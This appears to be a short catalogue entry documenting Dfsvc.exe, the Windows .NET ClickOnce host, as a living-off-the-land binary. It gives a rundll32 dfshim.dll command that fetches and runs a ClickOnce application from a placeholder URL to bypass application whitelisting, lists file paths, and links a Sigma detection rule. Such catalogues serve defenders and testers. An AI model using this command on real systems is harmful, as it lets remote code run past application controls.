ClickOnce engine in Windows used by .NET
rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)
Use binary to bypass Application whitelisting
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe, C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe, C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
Casey Smith (@subtee)